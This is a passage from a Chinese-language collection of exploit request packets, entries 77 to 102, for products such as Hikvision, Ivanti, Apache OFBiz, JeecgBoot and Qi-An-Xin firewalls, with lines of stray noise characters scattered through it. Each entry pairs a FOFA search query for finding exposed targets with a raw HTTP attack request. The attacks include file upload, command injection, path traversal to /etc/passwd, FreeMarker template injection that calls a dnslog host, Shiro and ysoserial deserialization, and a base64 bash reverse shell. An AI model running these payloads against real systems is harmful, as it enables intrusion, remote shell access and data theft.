. K2 \7 E7 S  d. @& P5 ~  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
3 ?. ]' R0 S- J5 E# z* R+ {8 e2 @
9 b5 {' c' q% G) J
) d; F9 {2 H/ c, n* c# |. ?GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
4 d0 P9 s! Q& }8 Q% O" CHost: x.x.x.x
! j% F8 R8 h& ^& k2 A- D' O: Z3 p


77. F22服装管理软件系统UploadHandler.ashx任意文件上传
  H1 Y2 z, i7 g, dFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
: Z$ ?! x% f' ?/ iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
8 c" w' f1 m, d+ L4 e- x* P* t$ RAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
$ [' f- f" n" N6 ]Content-Disposition: form-data; name="folder"
! G+ z2 d5 W9 I* c' x# o
( N# X+ I+ O! |) V/upload/udplog
2 h8 n+ W* H! f' i" n8 U6 m------------398jnjVTTlDVXHlE7yYnfwBoix
6 `" n9 V* n  E5 D2 g# RContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
$ t7 F( \7 w% T$ [7 U+ U" p" _Content-Type: application/octet-stream

2 s: s# }2 [! t  w, h+ Vhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
7 w* }8 e$ z6 W: k3 _5 e/ `( mContent-Disposition: form-data; name="Upload"

! o" r' ?$ d3 x6 _. r$ Z* zSubmit Query
) p8 X- Y" {3 y% r, T------------398jnjVTTlDVXHlE7yYnfwBoix--
5 V0 ]% F0 X/ i: x4 m5 X: t

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
! a6 U/ _' z* B& \& k  Z, l) V( KContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

5 b0 j3 O7 ~$ I/ L# f! T% Q0 z. v------YsOxWxSvj1KyZow1PTsh98fdu6l
% l1 N8 k7 E- tContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
5 C7 ?3 ^# U- j4 z) DContent-Type: image/png

5 r( R* g$ {, V: z  E1 s* \0 Z7 JYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
# j+ o' s7 y- t! M, a3 eContent-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
, ?8 G1 X; R3 ?- c4 w------YsOxWxSvj1KyZow1PTsh98fdu6l--
/ H" Y4 E  w# ^+ I# j

% J; n8 Z) f) k5 a6 k4 fGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

5 u, y4 u- ?7 H0 P9 c1 O$ D
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
2 R9 B' g( w' J4 ]. `% eHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
; G6 N9 s& Z# bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ ^# D7 X; |! L8 O& ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) R* q5 I( D. k% QConnection: close
Upgrade-Insecure-Requests: 1


3 d/ u/ H! y; k5 |) x9 Y9 {/ G: X& M" i' z, z80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
% I/ |9 {  |. N' i  |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
, o$ a9 x( O% I3 i4 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ O. [/ }' d- Y5 m/ \Connection: close
0 V+ B! v; V0 ^1 r' W& ]Content-Type: application/octet-stream
3 ?. o& |& ?, c2 a; |Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

$ m( E" `  f( U) U
7 _( l" J! F/ h" rGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 b2 [2 }; _, I$ q" \Connection: close
Accept-Encoding: gzip
( _+ V5 A4 m0 J" l
# \' t( ~9 k7 t7 Y
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
" |( G5 t1 u+ P6 |% ZGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
& T7 i8 t$ u8 s3 m3 T3 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- j$ v8 [4 M' `  m! KConnection: close
5 |( Y. B% N9 p; R5 ?* uAccept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ f8 G: W5 o% q- LFOFA：app="思福迪-LOGBASE"
6 V; J) {- M+ xPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
6 J: F# M# T. g4 r( fUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
0 u1 X" S# f, W
. Z4 i( O2 u" Q1 k; T% {z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

6 w* {3 Y' K$ t5 |7 G$ h
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
3 f0 e- f3 j/ J! Y# oContent-Length: 8881
Accept-Encoding: gzip
; U5 }( u+ _! f! n& lCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
- ^0 \8 o! ]6 H
6 Q0 S+ g) ]+ |+ e5 j8 gPAYLOAD
& o" q  Y0 ]+ j( D
  c' H) n" H. C6 I, f+ i; p84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
9 ^; Q4 f) W) r' T" M* mFOFA：title=="JeecgBoot 企业级低代码平台"

; A' ?% Y! r$ t/ K# b4 L" F
* n3 w7 f' H6 Y' S
" T) h7 B3 H$ @1 @3 vPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
1 X5 ?) Q2 r/ t) W6 W: G6 ]& k8 {Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
  o) P) A- ^  A9 eContent-Length: 156
Accept: */*
Connection: close
) w7 d, q, E. u) o. R9 h6 ^Content-Type: application/json
Accept-Encoding: gzip

  U+ v: \! m; p2 P{
& H7 p, s* C. {$ L8 v8 q' S "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
) X2 @3 B1 {6 M  s2 J! C  "type": "0"
5 j6 g' i1 ~  F2 o$ z' R4 u8 {$ x; G}
9 f% c# f, {1 R+ ?! e& V

3 ?# p; d# [) P; P85. SysAid On-premise< 23.3.36远程代码执行
# r9 _7 [& s7 T$ P% ]/ @$ e( X% q9 DCVE-2023-47246
! E$ C: V1 P+ T! e; DFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
' I0 y( W, n* ]Host: x.x.x.x
: |  ]2 D6 q  a2 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; \/ T! a$ u# w( z1 }0 @; ^) X5 f1 XContent-Type: application/octet-stream
Accept-Encoding: gzip
3 Z) |7 a: i6 U
PAYLOAD

/ E7 U3 W+ y! L) s6 q! m) l1 T回显URL：http://x.x.x.x/userfiles/index.jsp
# i9 W6 ~  M7 y" \! i0 H% b
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
7 t2 h' k' p7 Q0 M+ L2 ?1 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
% M' ]' J9 u" P: x: NConnection: close
Content-Length: 44
Accept: */*
) K+ s' z9 B4 _& QAccept-Encoding: gzip
Accept-Language: en
8 t. d' L3 p2 |+ `, [! `. k2 r+ MContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
2 H- ?8 t7 l1 h; }8 s

# j3 R* ?3 d9 S/ j# J6 Z0 a' m4 u8 K87. 安恒明御安全网关aaa_local_web_preview文件上传
7 z4 c+ f/ z/ T* U3 QFOFA：title="明御安全网关"
# I9 q- _: C1 |( OPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
3 E9 O' ?& \* V8 ^! {  m8 T# ~Host: X.X.X.X
, i2 h. A8 p+ h; U" rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
, r; B. S; ~' }( GAccept-Encoding: gzip
( k$ X% R8 q) |4 [3 K: oContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
( R. `9 [2 Q. D( u5 ]: v9 b
--qqobiandqgawlxodfiisporjwravxtvd
. X, _, p3 A+ a& Z3 n% ^0 F" {Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
  S8 D) \  G, [Content-Type: text/plain

- A3 K  ]$ o4 Q1 V" {" R2ZqGNnsjzzU2GBBPyd8AIA7QlDq
1 H/ I9 ^& X, V1 h--qqobiandqgawlxodfiisporjwravxtvd--

5 {  _1 G, b5 i9 ?9 _
/ E2 C; y* ]* }! o/jfhatuwe.php
" {# y3 V8 z+ r/ V
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
% d7 p- r8 J. R, {1 MGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
9 ^, x4 y; G' d7 N6 j) Z$ FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. n) v: v! K1 @" t* T2 m5 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


3 \( m, p, u  l6 B( l  k3 G4 L8 |/astdfkhl.php
( O* E6 f, Q8 @& h
/ g* z6 @, T$ q. N) V" n89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
. Z+ w3 [6 h% k$ E$ P1 D0 H& c: }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 s- ~1 v; I1 ]- J9 eConnection: close
Content-Length: 41
6 ?+ j5 h, d" o$ V. M, F5 s& iContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

6 a- z+ r: {- K1 J- Qoption=2&GUID=-1'+union+select+111*222--+
' ~! t0 z, G- P# E# a
% Q! D3 r% d+ `! ~7 c! |" e$ M
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
7 T9 x4 O& V  z( ?& k6 i( ZFOFA：icon_hash="-1830859634"
" Q) s) O* w/ G' w+ X8 ^& T: `, iPOST /php/ping.php HTTP/1.1
! O% @4 `# g# ^  PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
* m7 t+ Q  p$ w3 ?Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
0 O4 `0 I7 e+ l- ?Accept-Encoding: gzip, deflate
7 g. p' f8 \* ]3 I& a9 }4 B8 g5 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 b* M3 W  s  a, m5 {Connection: close
Content-Type: application/x-www-form-urlencoded
3 D) K5 f- @2 i1 eX-Requested-With: XMLHttpRequest
( ?6 n" C5 H! q! O/ G( X
& p) I( }1 D2 U9 Y# H7 V. W9 g, Qjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
, d, G& t, t( c

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
; X4 |+ e# `: j/ U' y: P8 vGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
4 M! x% e" p' Z$ d- \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
* Z2 V; z. U$ v( W$ A2 a/ k4 ]Accept-Encoding: gzip, deflate
0 J% n- ~& L) H$ j2 j7 BAccept: */*
Connection: keep-alive


2 X+ s) h0 u6 Y4 ~7 _+ ~; p( S' H
92. 海康威视运行管理中心session命令执行
  y/ o0 F- J5 n; @: C& qFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
5 M& a3 K$ E7 m6 I! u5 b- P, KHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
( n- M! j& u0 A7 h, A! kX-Language-Type: zh_CN
$ R1 P) ^- c1 {/ h4 ~7 STestcmd: echo test
2 ^$ ?; ?/ M% q# L" V6 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
: [/ g0 u+ e" n: pAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

1 l. k2 g' B+ F, E2 o, ^PAYLOAD


$ _, N  t0 w" L93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
2 n/ a. I! e2 e4 ]2 d0 @$ Q' |9 SHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 t, |9 b( @" Q) i4 g2 T7 Y
9 G% P2 q* e1 E& O( V/ A* \------WebKitFormBoundarykcbkgdfx
5 N/ }4 P5 p0 i; u4 I9 E4 DContent-Disposition: form-data; name="MAX_FILE_SIZE"
8 L8 |) Y& |7 b; `" ]& Y* S
' \8 N4 Y& y, A10000000
------WebKitFormBoundarykcbkgdfx
1 S1 a: l8 x( z' A1 y5 eContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
7 Z$ w& k3 K, aContent-Type: text/plain
" {2 W: y( J/ a  x  s5 Q
( E- @0 r+ }+ G$ \$ d  Xwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
$ T" Q) O6 ]' H
: ~! ]$ p+ {% k& F! F7 g0b9d6b1ab7479ab69d9f71b05e0e9445
; W- Y0 z' m8 Y: ?3 l" l3 {. b------WebKitFormBoundarykcbkgdfx--
* K1 Z' ^+ b+ B
# A1 Z% W2 J! s" ~# S4 E1 b  k
9 w% z/ {0 a! s, JGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
2 X1 \$ D, `/ s  U2 Y7 uUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ b0 N( M* I. n
( k1 [9 G7 I$ F3 v7 T. k$ j
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
9 b6 T& h0 H- _6 D) |. M" a' o1 \7 @FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
4 L5 y- w2 R6 X# z: cPOST /?g=obj_area_import_save HTTP/1.1
9 I# W& R: j' L, I5 zHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 V6 g, v) V3 s; n
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
6 h$ @* u, A) j8 p
10000000
------WebKitFormBoundarybqvzqvmt
6 ~8 e+ f; c  ?& U2 B8 ~9 VContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
6 L( f. b+ G3 Y3 K% m3 q
pxplitttsrjnyoafavcajwkvhxindhmu
% S- ^7 n1 A4 }3 w  j/ y------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
: A" k) U3 R' A5 Y. E8 l. z2 O
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
9 ?% }) X8 u0 D4 C: O------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
* j5 X* J, U5 X+ M/ I9 E8 T  ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
$ r8 I2 ]  w# K% Q9 P/ HUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
) d, J  e' Y) lContent-Type: application/xml
! g: Q/ Z! g7 U6 z8 _Accept-Encoding: gzip

8 P, V& x  u3 r" |" q8 |% d<?xml version="1.0"?>
/ _9 n1 J& ]; H  O8 a7 N<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
) o4 |0 T0 P; a9 j! l& q8 @    <params>
      <param>
3 U4 }0 }5 Y( y  h) J6 k      <value>
& V8 N/ D; ~' G( f3 R* n, }0 U        <struct>
$ L5 f, W, @+ x. H       <member>
          <name>test</name>
! U3 n8 Y9 n0 c/ a6 m          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
! V: f+ t, A0 D, M      </value>
, r7 X8 `  c+ e& S    </param>
! {9 R; G7 c, r2 w8 P- H/ H    </params>
</methodCall>

/ }5 W/ e: D3 {
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

$ d7 h) S' ?& v
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
/ m# |. L6 @3 D) D! {Host: 192.168.40.130:8443
5 n/ f4 Y7 l2 ?: L! J1 T: YUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, ]  ^# y! N2 H/ p* QConnection: close
Content-Length: 889
2 m4 z$ T8 U* J' `( @Content-Type: application/xml
# f  f* K) P( e5 |Accept-Encoding: gzip

PAYLOAD
& W; O% z' f9 z5 `: g! V1 ]
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
2 [. |( N, o" e3 Z% XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
& Y6 _- H( S1 v0 u) |
0 H# W9 C' k" q: D" Y  l
8 A2 D, c$ E. D$ `( O, e反弹shell
8 C9 m. p& I# O0 p. m& j8 U; A在kali上启动一个监听
nc -lvp 7777
4 ]: e. A; ]5 \' P9 h" F9 w% g
* B' E4 k) k& x! \+ ?3 ^POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& O# E, g+ U; w" dAccept: */*
! n# e- ~7 s$ pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 r+ Z0 c( T' o4 [) ?Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
1 l% y& _% V; A, _* p" V# P5 F1 F
: Y8 O4 K3 X# D, v0 H* [7 Q- T) G97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
! V4 e. P' a" I; K$ E+ Q+ \- |GET /passport/login/ HTTP/1.1
3 _  g$ N. ^* WHost: 192.168.40.130:8085
' Y) v  {7 Y( v- T3 H# gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: v7 d8 {4 L' L' F$ e' ^- |' Z( SAccept-Encoding: gzip
3 Q5 T' X7 L$ ~Connection: close
" ~2 F5 ^; @: S5 ?7 b" @Cookie: rememberMe=PAYLOAD
) j7 o  x  F( i8 _8 wX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
) n; [5 E6 @' \; L4 Q1 A5 \
9 B& B/ y8 ?" b! f* l& l8 R2 U0 Y
' d( w, \# d$ {$ z; c( q1 B1 B98. SpiderFlow爬虫平台远程命令执行
' J7 `, r" M0 X7 SCVE-2024-0195
. Z4 \( m' C& M. j) z' lFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
$ f! c: w9 T4 F/ s- QHost: 192.168.40.130:8088
4 b) Z' L  B2 E6 x3 t7 a3 V5 [, ]0 V2 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; q: c1 n9 ~7 l$ G! K- [Connection: close
Content-Length: 121
Accept: */*
/ C% ?" H; g' I2 @Accept-Encoding: gzip, deflate
/ \8 g  T* y" \; jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
( \1 t: u' L6 w- `5 |
2 O7 l: X0 j' Sid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


) k, _; s7 U* E* k! z* E% ~/ w99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
' j5 s& O, ~1 ]4 jFOFA：app="Ncast-产品" && title=="高清智能录播系统"
- B* {- f; J0 ]3 gPOST /classes/common/busiFacade.php HTTP/1.1
5 q9 M$ @5 q& x+ W: oHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ g" @3 L( }6 a) kConnection: close
Content-Length: 154
, h; O# q* V6 J5 L. @. U  |Accept: */*
2 K& G2 E. Y, U; e9 e1 uAccept-Encoding: gzip, deflate
# b0 S3 F( a8 {( qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 D" r. w, q" ^" o- }Content-Type: application/x-www-form-urlencoded; charset=UTF-8
! S8 |6 S2 p0 U2 a- o3 J6 sX-Requested-With: XMLHttpRequest
8 K. e- h9 w) g+ o4 L# E7 u
/ c+ V- |, C9 h3 Z%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
: a0 q0 Q) R; \
" H& b# @& A8 H% ?! U
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
& F# Z6 T4 o1 _: j) APOST /api/file/formimage HTTP/1.1
2 Y( R7 @. v. l# BHost: 192.168.40.130
" Q, x% A! O' O$ ^, @User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
" t! D# ^# Z3 z* z
* j# C% ?1 `' o' W2ayyhRXiAsKXL8olvF5s4qqyI2O
- V9 S# L6 l# b+ [' x( t------WebKitFormBoundarygcflwtei--


+ H, v3 u% y" n# v101. ivanti policy secure-22.6命令注入
CVE-2024-21887
5 E* j! x8 |+ v! J; L) ~; AFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 U. `$ _  D* Q/ _3 P) iConnection: close
Accept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
! `' F+ b- L8 d3 ?' [! qCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
( ~, S$ `2 A7 @POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
, j3 b4 F( d; f% AContent-Length: 792
Accept-Encoding: gzip
5 K& E7 j; A  g" v1 T6 X' D
